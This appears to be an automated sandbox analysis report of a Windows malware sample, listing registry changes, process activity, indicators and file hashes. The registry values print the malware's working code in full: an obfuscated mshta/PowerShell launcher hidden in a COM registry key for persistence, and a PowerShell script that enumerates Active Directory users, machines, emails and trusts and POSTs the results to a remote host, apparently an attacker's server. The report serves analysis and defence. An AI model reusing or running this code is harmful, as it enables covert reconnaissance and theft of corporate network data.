c4656ac79738a67d437a0521726e7d0c7d0056492456ef2c1b4c3bd5e9a39d0f0dc224885eb01f94b2734ad850712ed29906927d2dd2cd9ad2722c6a90d5869776ad8efd6cd74304c44de0a0058f2e8b551f4a64581eb85ae999e8a0c56b562a7a38556ae0a4bf34f688538cf3248a7374044958b2ed0b357782203964d82000681ed96b1595b06a6f729b0b7c5b7f156a04a6bdc3d50a0c301a7d0a5ecbc7b6cd55b91d0134b6b3901eb480e9c50101637b85fdba1b391af82475d3cca88328c123953c8edf3584f18b81f7657e40713e570f592fbc8e9b8ec1960a20885a9ab60f0d2d37ca9e7a1b03a5f0e0bea7b2af93781c0ee3cb930428d213b90df1f90d9690cd436ba7a20774a9636aacfc0eb24ed8d7989ee49bb820924a08483be6f0abf919acb8c5f7a60fc3de232b66323575f1f9997387144ea974c6421502b602b4cd77796f1547561807a75b0d98127a70f8149b83332e4ba521f6238ea4ce4cfdaf9f9fa04cc78dcdf1131883073d22c6514cda1cb6715f4381f2aadc10433c0302930a7b3970992bc09f387f5eca02e43d68170e244176d5d98b6fc0f690cc032a7a57bb533b3cd4645859b1a22e36cc22437c73da3689f3692ee5fc92a7a3b2536dce4194927323983206954af14409aa2e4fd8b5a0dc444faf0eea4ce24fecec8fd4fd2582f5a239c6acb7c2f9aa3f502149de38a2cf426a4d6a5009e47bf69c3cda56879c9da216cb78e6a9627a9b279f2ce9d1c695a4a008e205c2351e02680a5636e60adba788217a1b9ffad1c97f989504d112a2ff82fd96ff1206e869223e79851941990a6b8b6c21a53177bf83fb23c0917878780fe164b51d52e8b58dcfb20c2570a0adad901aead04248b675fcccf9e3e3ed0f2092e53eb1c11ab0eb81d01fc1e02b10148e716427c9cd7a663b14a07b464d2ced1c7faf9aff147dc9b8af9dd7c0cf594262333cd4f370dea8fa86fdbb3db15d52f3d010e683af9372063dfe85aec15b976f02dd78a50e28f8ccc55e731078bcff4abd464f44f85d2b212e528eb4eb698e5eb5ee2ef6d0ec5915fa6abfd90418073548f2171cedc2809bb442f5d01050e9b6a1cfb1969871aae00768370137cb3ffa39e3b233f609e1155ac7f13ee3fcc3e8706fda79afd6fd56135d61107cd296f8f0118d4a2b2e72c7a7713d7f27d52b14a467615ea3c68cd3a6b099bc49014f6edcdf16bf4d3d91ee8ac239b6cc0661ceb273a902a3c19e5b6d13f567f6fa3214d45e4795bc34f514551c899e11be5508e4053faaa3439a2376d83b8ac4f1d39c8373834b1dbf1867fcbf6a187e5e4cc41ac28f36734c9b7a00fad8a9b54bab1048607a1d05125c1d21f8cd96168a6d852b6885018d14e842be3ef15579603bf118c5e44f0e37692a7f034370eed2d5bcaf1b951416aaa7ee2f88db8839407fb0169c0f4a07657ba28050b32b15866ce37e27f2ef1c4c88f56109e8430d6199bbf0e32c39402a1806a7c2f1de8411640eebbb788f9eb738a7902a8f20a193d4fec5db4b0b9bce48a73ed266f9cd36ed4a0332aed75bef038e7e8956a8293811de352f7493b585ac68a3ba4696f178b00191b461b7c9ea1da17d2d88f74148662f017cf9154bc377c10012bbf5b41e64493488036d38333e4c235a52486cd0b9ffa7b80c8e714fc732366e28c60bc76d44bf4bb6c624b93a9dc762e189db0850a3fae9f583103afe4db12e32415785c3411926e1572c7c9fbfb0c5192e7e5fe0cd07a30d7fd9841e435c1757a4b973d329622a882252920af94175f95565848f1c9aa8e4d3c7e2f8e1a26acd2ed7b9a26d702e88ce28c9aba942183ff88b284b80cf1ce9d62d03ec5ecc73b2bdca18c1ef97a7501f61046bc34931b92619a0ab186a92e520f8038b8b41d5d8a1da814ebe15ee3a18818c1a7eae5b7d78dda2651543e6eaf0e44d1e37bf63f0ad2f0ecb2f6041b18dff97ba66b41edfdf4780ae00f32e3a3e4177bdd8765b1fa71b045195bf0c11680e36d227740bdedfd9f496a58c53f2159e82be0ef68b0b9c87ee43832eaef2997f583ce195844b6753f8c612de06b16fdbc78cecf9c5f0ecf2ce0a824e73ed146debd86b2b26a32d478137d221a2eb5fa74f3865b350e1de7a145f7c006ff733a7dfd895c360e652d150d9953d6c0e2fb0df342473d4f7779d9e9cb69d6c9ffc42b9ac0a22daa6bb7a1b4bdc60c123cb29194c02d6bb9fa08fa98a4ad4a5746689fea4f5064c222a89478cd09cd97393b3069177ab875fcb95c9bcee4e22f378709f75d77e5303a675d73cd19154da06d18b3f20a2e7daeb4d5b2e6f5b855f8ae048039ed4b5422a606f72d18edbe4d2a38e00f37bfa99115999c26798bc8267df6f3c858fc4f1f2409aac0702b5c115a95b053c40cf5b3b25fe0987a02e2b524e364799573a579ff83ece7ec80218f6dcc2d8cb0beaeec104bda535fc36cd90e16ebfcb80fdf3e058914ae8a78c6a4bf9e3601e8be95fb8837747f74821a75ead62be59922aa79afa9e76bddca853387c2a50769586a8fe1c0efcbcc84e6a7e5d3756929654271a04d9daf9ef98a298cee8edfd0aba2b54ad90307dde5e381c59f7eaa1a9f8fe3ed99816d5c66a94ea04f6618a8a357863127fa151c8613f3b38ed4cc2f54ef4c7aa2f606c5551dce0eb33fc094c72aba53ef9c0847173cd317339b9dbfbc3a92c48d1ee712be15874682511f18f8f5315c60845098afdfeb3a90a725f7d9a7bdabe3011c0014c4d75c8da86385e0ad52dc2a1d2f58a8884caf660c982bd2624179271278218585f3ab6ad913a8f906751de7d1fc34449b32b4303d7e6486791901b52ae5cab53ff0f07d7349f32a47a98b291964886aa00fb88fc5f1b1b9e34317150c1e07b11ee3ab6e72681da4f1cf061d0715ad98be8b82418e91c48196b8e567e8194fc4d56421f790416bd3b17cd84d713551a78b27a55c636438cff6300ac03a969e4f8838bb56058aee419c4917de08162629390abe7e25ee729cbe4e97c61e347692331f52d5a1f16250a0e14de5a1f1b3d6d8a428009c63dc1d2c86726712e9f9bde3a5f839337e82cbb99ad7299ed0b5022f197380092ddf560554520548601e6d4e35d64e30d1ab0c8a88e929f3ae2cdd167c0eba99cb4aeff4a90859f51c89149d4764591ac1cee6df3cb9256eaa19663daae2bbb5c55e190af602373f5250896e47f8da9c187a7992bf6b8145a12a3857124c91337715bbcf9722abdef1db34298d27b9b75dc1cd33951973915c1cefb84bf2b12d7c7181186910f101ac0ff1b0f8c03c0742306846dfdf3ef7c03782cad2427603bb79467ec10c679a5b62029be7b2574b04ad2743241abd6dc32573932d9b9b19d3844e3cd0c572e62c5ffe323f4d5fbd4039bb395f4b66ee51f4d68830628c02214fa2cd8c06bbf11674a069adcad3fff1fe5407b8f49408ba21f7ea0c205addfd22e8033e82237d741758d9433cc8173a6ae8e19e831fb413e5c3479fe61ed62c4e266471df338f447e360d1e72196b3004bc19de04577b6a04e5408ce0773cee58a5b9d5ff458cfe376f8cd7dffec90f2227d752698a89e680a532a83c3c448501418413d6e5d8c5a048490b9693ba5dc64c78dbf974acacd4d9fa4da87f8db3a91b93e43ab67492433cb5a3c660ceb7e7b17944338105c4aaf11e9235f42688a7f2c587c43f7e31978ace9a5edae1153b59f0f716e9313bd3d628936115f8dfd9705dc8c7fb19246f9bc1e5b09e7e75fb00162c2a28ee760c99b74797679f2bf4e6fb71cce384ea009f2e7986d61e133145f0a9ab8fee1f9cc9eaeca2333601a002d6a34e73c4dfa766571a98add004aef39cb7f1a7f17e8733979269f2715678f420ea5b0cd1f3b1689756c38dc6e6ebd4f363fe736c925176642676a910d1fb2f301b36ebbccfdbfdb066fb4d22e57ca86e9dc72dcf5bf64c33ca1837e9f8f8c84e4109452e7bed1224b838037c60f602c4cfda3a69315ffcb7a15ecedd80c16a24675b7270586e1d56e22e87fa3baae26549d1426f6ebb24584dda32b3ce73e397a04ba7a835cb3b483790124c1a0c107465e4e736734c1bf4ee07ad23a7cd925fb44c727caa4e709d433bb0935d7f3a2fb6f1a4a3914253f2d953851eaebec10a5c14026b4ef4e4a328da518a8678a62bc8cdb0cd58b30618d215c29cd11898278e340f52c25b7ccc943e34b0ef9461c836c65365c71f5104facc2c75eb5f6b9a2969365e7153e19ef16aa10983407a61527adbd55282a78a7802488ff4f7c06f9474f47161b978f7fbede32e120d724a0672af0a0e53f508f911c6caf9203e00e9c11e9e89af9999c7e061f0eae82ba7b3be267d156df378eb5364b5a2d8baf75c023c047bc80aa311b4a18701d22c47f3e5d59d221773ffe378177c8cd3c0450ba82f226d88dca8a14f71e33dc051e76ca510d2165aad1fc57272501d3522a51eafc7e1088903bad1c7d63c473a6b0aa18b1bb8fdb89de3d833eb988667610017a10940b058c69d82358174639c5d92d9ae0da81ac071b698fcdc1fd71eda3e80a39481115d714efa49b89f652b1832f13adb406420e0306ae9febc0dfdae891f442b21abe8557992d33c40fc2b4a4e5791ec6412fad54be6a8447208016ed33928e5d8203ecd8c5d46b476a81867f653d1f9f3f4b9f19745d0b1acdd7e3fa695ae256234eeae65127e1dc41f874b2a1a389e24eb3526fc35e34927a0ed9d19966f607d9c9b9842bc466c434183fb053ea5267329549f4dd32c3e810bb0d1a5092a5c3942c9cf741799b6c6a0603da01dfa3cfba11c412b30cc0c5b392af89e80230302de85b4f6c1c5e80289566d3e8e94fb9856c78efd1979d094f1d06f807449b45417e2b4ff845b8e5a65a0053d2a83ba93039f15897427ba94dc48c001d3cec7d1f4d68f27ce254253bcc4e1939e1bb14a657bc5ebe87f053af399ba64d960036fe510e531af15fad9c43ad7dd011253b710de77d844763fe931a4c4d9f1b418e26a1d5ed219e5a7b4dfbc3210e0bb25314a9a69aaabde2cd3e7cdcdfa1fcdaf5b4568e3df6e8a769db50ee941060bfd01a7d436306ae09f1b84d8eabec46890a8b35fb0c9623fbb5c3e44ec0a4fbdfe4b85b2ae95d0e58f788c64ed74909d0f9617b9b9ba6906e1439387cae5bc08dd1b8de8b5f2ee6c39085d04f2d0a478be0169003abd2c7dc86f2803145c8e67f93f79dbaa161353f57bfce7d0ae978d35e93bf735a3be7b7204d663930fb52ecb82649e74a47f92716326be5887484492d7102e554a7ad85ffeb23ab3dbbf8358ade7ed1b0eea65be0d3eac5c865869f4c63ff304735f54fe69c8002e7ea543b38c7109f68d198270d25a0d8e13890b6e070b3229cdc030eaed3abf1051c9b8ef053709de7b1f2b3b585a4d2ef1794d1b31e051099dda607b22bfbdc90fa2e91d021c2e7381e64e6f9930ba63aa3bce8eb143303f9cf4384225215e9781c4ca1a5b815bbf26611339df510b6fdf44c18143b23078447c9865593a81c51be1d34df49fe4413acc3689d03b88914699130bdb877df6f23db8a44efc1c848d56bc19566a5c8ed9558de44c511b70b5b0709c7c80228f98ebaca0b07437862617e48c608d1f733cc471aa8a3bc3575c85bd74c3e72460707e89560844ba3819b194623099ccff180d9ffa2581be5e2dbcb4dd928243238f37ffb1662cb85f7b8ad1a8f2e4d149202f7a2b0740231e35866a000d653ed526929dce9f764e7a7d01b8cd4c2bec2a70770b01cb7e60864cb13341711aa11d9e51af6af3b621e6b342bf03f4439ef9f145db1a63939d63b8aacc4189907f274495b44983443ab6a66b404c0c64dc6012f795d1174a416d4f10d40be9da4417bdbe0e36877a1a5aa31080fa89debb48cc1a66d75bdde750248d677055d31e02ab5af217664b0b1c991886e590c13c327886753cada9b9213e48d9689bf26aea3f0d253e46abbadfb5ce294ffbaa58e7c56407cf38ffe8395f7ebaa9c661c0d03aa7f36ee9c0cb954c2226f0172ba03b868cf797950e9e8b7218dc5b299ccccc51c290139d404ea67851f6a11ee8c35d26f8ed9d3766c0d4472993f52479a9a6a71773904ad5ad1151bc7f5f89011dbc830c02fff733f3c42cfdf6b7975000d894b684dbba550d27b891ef6e8b49e24faf77a95555003c3ce5e334f8897f0a72cda3f10e879b08df0adafc6eb5413c1f6a8bdc5dd4e9341f1f559e7adc02b73b5d415b48716a96bfcb95fec86a7a4d2b9032610a06bb8d5c8c26e8b2048694e18a7be3b9780be77d88f770ace8848772f723e76cb41e57dc3a80a52dc38120a82b2a2499894d13fc309d3efa0197d8bd9417416066bce4a41e7e1ed053ba163b2aeee17a64ae4a89335dc3693df9b50b042970f504a0290f33398252ff70a7bddc2c86944934c6925a721b581e9131402d25f90370013cd4937fc05cf9656d0c52ee4d0fe5011cab78f3a07f80fe13ed3f3bd73888b7b3fd0305e1a1a193e4effb91c496d902d52884f9936a8d61f4205f18c5656a32121868dc5fd3f9e568b7c8c9bf61564a079919b764aa79f79ac107ea49a4d398438f08a56b53be7df2fb4df5291370ec40178c570629270b69be25b6dd1e17b93d61603516c36a5f2cb3b85bdf1d72c0327be42ae208f476749a8fefe5b9fcd65e040e8c0879d54581335618fac27a42a77b281cc467a784015553aaea59c1c9d89316f0eeee718a4 powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\{030E040F-050F-0610-0711-081209130A00} powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\{030E040F-050F-0610-0711-081209130A00}\ = "{030E040F-050F-0610-0711-081209130A00}" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\{030E040F-050F-0610-0711-081209130A00}\CLSID\ = "{0D030E04-0F05-0F06-1007-11081209130A}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{0D030E04-0F05-0F06-1007-11081209130A}\LocalServer powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\ powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\{030E040F-050F-0610-0711-081209130A00}\CLSID powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{0D030E04-0F05-0F06-1007-11081209130A}\VersionIndependentProgID\ = "{030E040F-050F-0610-0711-081209130A00}" powershell.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{0D030E04-0F05-0F06-1007-11081209130A}\ProgID powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{0D030E04-0F05-0F06-1007-11081209130A}\LocalServer\ = "mshta vbscript:execute(\"CreateObject(\"\"Wscript.Shell\"\").Run \"\"powershell -w 2 -nologo -w 1 -c \"& {(-join('246B696D6E7A6C623D2731333041273B285B546578742E456E636F64696E675D3A3A555446382E476574537472696E67282867702027686B63753A5C736F6674776172655C636C61737365735C434C5349445C7B30443033304530342D304630352D304630362D313030372D3131303831323039313330417D5C50726F67494427292E246B696D6E7A6C6229297C2628247073686F6D655B345D2B247073686F6D655B33345D2B27782729'-split'(..)'|?{$_}|%{[char][convert]::ToUInt32($_,16)}))|&($pshome[224-220]+$pshome[18+12+4]+'x')}\"\"\",0,false:window.close\")" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\ msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\8000 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n#$file = 'C:\\Temp\\transcript.tmp'\r\n$file = Join-Path $env:temp \"pers132.tmp\";\r\n$fileASCII = Join-Path $env:temp \"pers132a.tmp\";\r\n\r\nStart-Transcript -Path $File -Verbose |out-null;\r\n\r\n# Function to help post HTTP request to web service\r\n#Function PostWebRequest([String] $url, [String] $data, [int] $timeout)\r\n#{ \r\n ##$url = 'XXX_TRANSCRIPTURL_XXX';\r\n#+ADD\r\n $url = \"%MARKER%/getdomstats\";\r\n\r\n#$data = @\"\r\n#test2342=test1\r\n#sec test\r\n#\"@\r\n\r\n##write-output \"Begin\"\r\n\r\n\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n##Write-Host $data;\r\n\r\n\r\n\r\n##write-output \"End\"\r\n#####\r\n\r\n\r\n\r\nStop-Transcript |out-null;\r\n\r\n\r\n\r\nif (Test-Path $file) {\r\n\r\nget-content $file | set-content $fileASCII -encoding ASCII\r\n\r\n#$data = Get-Content -Path $fileASCII\r\nif (Test-Path $fileASCII) {\r\n $fileSize = (Get-Item $fileASCII).length\r\n \r\n $timeout = 5000;\r\n \r\n #$buffer = [System.Text.Encoding]::UTF8.GetBytes($data)\r\n #$buffer = [byte[]][char[]]$data;\r\n \r\n \r\n [System.Net.HttpWebRequest] $webRequest = [System.Net.WebRequest]::Create($url)\r\n $webRequest.Timeout = $timeout\r\n $webRequest.Method = \"POST\"\r\n $webRequest.ContentType = \"application/x-www-form-urlencoded\"\r\n $webRequest.ContentLength = $fileSize;\r\n $webRequest.ServicePoint.Expect100Continue = 0;\r\n\r\n\r\n $requestStream = $webRequest.GetRequestStream()\r\n \r\n\r\n $fileStream = [System.IO.File]::OpenRead($fileASCII)\r\n $buffer = New-Object byte[] $fileSize\r\n $bytesRead = $fileStream.Read($buffer,0,$fileSize)\r\n\r\n $requestStream.write($buffer, 0, $bytesRead)\r\n $requestStream.Flush()\r\n\r\n \r\n# $requestStream.Write($buffer, 0, $buffer.Length)\r\n# $requestStream.Flush()\r\n $requestStream.Close()\r\n\r\n\r\n [System.Net.HttpWebResponse] $webResponse = $webRequest.GetResponse()\r\n $streamReader = New-Object System.IO.StreamReader($webResponse.GetResponseStream())\r\n $result = $streamReader.ReadToEnd()\r\n}\r\n ##return $result\r\n\r\n#+ADD\r\nforeach($x in @($file, $fileASCII)){if(Test-Path $x){Remove-Item $x}}\r\n\r\n}\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000_CLASSES\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}\TreatAs powershell.exe -
Suspicious behavior: EnumeratesProcesses 5 IoCs
Processes:
powershell.exemsiexec.exepowershell.exepid process 1724 powershell.exe 1724 powershell.exe 1872 msiexec.exe 752 powershell.exe 752 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 1724 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1724 powershell.exe Token: SeDebugPrivilege 752 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
Processes:
powershell.exemsiexec.exedescription pid process target process PID 1724 wrote to memory of 1872 1724 powershell.exe msiexec.exe PID 1724 wrote to memory of 1872 1724 powershell.exe msiexec.exe PID 1724 wrote to memory of 1872 1724 powershell.exe msiexec.exe PID 1724 wrote to memory of 1872 1724 powershell.exe msiexec.exe PID 1724 wrote to memory of 1872 1724 powershell.exe msiexec.exe PID 1872 wrote to memory of 752 1872 msiexec.exe powershell.exe PID 1872 wrote to memory of 752 1872 msiexec.exe powershell.exe PID 1872 wrote to memory of 752 1872 msiexec.exe powershell.exe
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\4bd\ldr.dat.ps11⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1724 -
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1872 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "&{$v1='8000';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va ($p1|iex);exit}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:752
-
-
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5a8631cf6dd8ecf222a81e9dfb246f351
SHA1f20fce958bf3bd5e2f924724fbc7f92b1af221fe
SHA25618f866a0ced3d8decb22771a83b1c6d579cb8699d0233601f2a84b864a65c979
SHA512717aa019c5b4c1e75780c3dcbb32596b82254a82b3a83548140533aae6ad2b049c9f0495ded5dc941d92178b3661e35d95e27edfcd3b482307a3347832e174ee
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5fa1435a218d871fce2153297044d2604
SHA1ee1efa8309f4d628eca81b9c777d08644bd1d46c
SHA256ece64aea8576d164568303bce9bdd68ed79f7803c35b22fa58ec8c5e3567b4b2
SHA51286d27cc7f3da58360c4002a15759f80e0ee9e5ef96bd3d9df0613247b32839770e4c05449a4737c305a38719b79a764e1c82ce1dabd831573617731d0397cc07